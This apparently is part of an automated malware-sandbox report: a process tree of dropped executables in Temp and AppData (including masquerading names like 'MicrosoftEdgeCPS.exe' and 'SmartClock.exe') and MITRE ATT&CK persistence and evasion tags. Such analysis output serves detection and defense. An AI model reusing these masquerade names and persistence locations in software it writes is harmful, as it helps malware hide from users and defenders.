C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6088
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:2460
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\a2c42c0797cb4014a91b58f32ecae187 /t 0 /p 60881⤵PID:7844
-
C:\Users\Admin\AppData\Local\Temp\BAED.tmp.exeC:\Users\Admin\AppData\Local\Temp\BAED.tmp.exe1⤵PID:7188
-
C:\Users\Admin\AppData\Local\Temp\C59C.tmp.exeC:\Users\Admin\AppData\Local\Temp\C59C.tmp.exe1⤵PID:4928
-
C:\Users\Admin\AppData\Local\d9516ce9-f696-446d-aad5-a1e4e65670e0\B84F.exeC:\Users\Admin\AppData\Local\d9516ce9-f696-446d-aad5-a1e4e65670e0\B84F.exe --Task1⤵PID:6228
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4740
-
C:\Users\Admin\AppData\Local\Temp\E27C.tmp.exeC:\Users\Admin\AppData\Local\Temp\E27C.tmp.exe1⤵PID:6932
-
C:\Users\Admin\AppData\Local\Temp\F8A5.tmp.exeC:\Users\Admin\AppData\Local\Temp\F8A5.tmp.exe1⤵PID:6460
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6916
-
C:\Users\Admin\AppData\Local\Temp\19EA.exeC:\Users\Admin\AppData\Local\Temp\19EA.exe1⤵PID:7556
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵PID:3996
-
-
C:\Users\Admin\AppData\Local\Temp\1AC5.tmp.exeC:\Users\Admin\AppData\Local\Temp\1AC5.tmp.exe1⤵PID:1896
-
C:\Users\Admin\AppData\Local\Temp\2B31.exeC:\Users\Admin\AppData\Local\Temp\2B31.exe1⤵PID:7716
-
C:\Users\Admin\AppData\Local\Temp\2FB7.tmp.exeC:\Users\Admin\AppData\Local\Temp\2FB7.tmp.exe1⤵PID:7820
-
C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"2⤵PID:8116
-
-
C:\Users\Admin\AppData\Local\Temp\3A08.tmp.exeC:\Users\Admin\AppData\Local\Temp\3A08.tmp.exe1⤵PID:7584
-
C:\Users\Admin\AppData\Local\Temp\495B.tmp.exeC:\Users\Admin\AppData\Local\Temp\495B.tmp.exe1⤵PID:7724
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1208
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:7512
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:6084
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:7972
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:8020
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:7752
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:8032
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:196
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7988
-
C:\Users\Admin\AppData\Local\Temp\B99B.exeC:\Users\Admin\AppData\Local\Temp\B99B.exe1⤵PID:4456
Network
MITRE ATT&CK Enterprise v6
Persistence
Bootkit
1Modify Existing Service
1New Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
2Scripting
1Web Service
1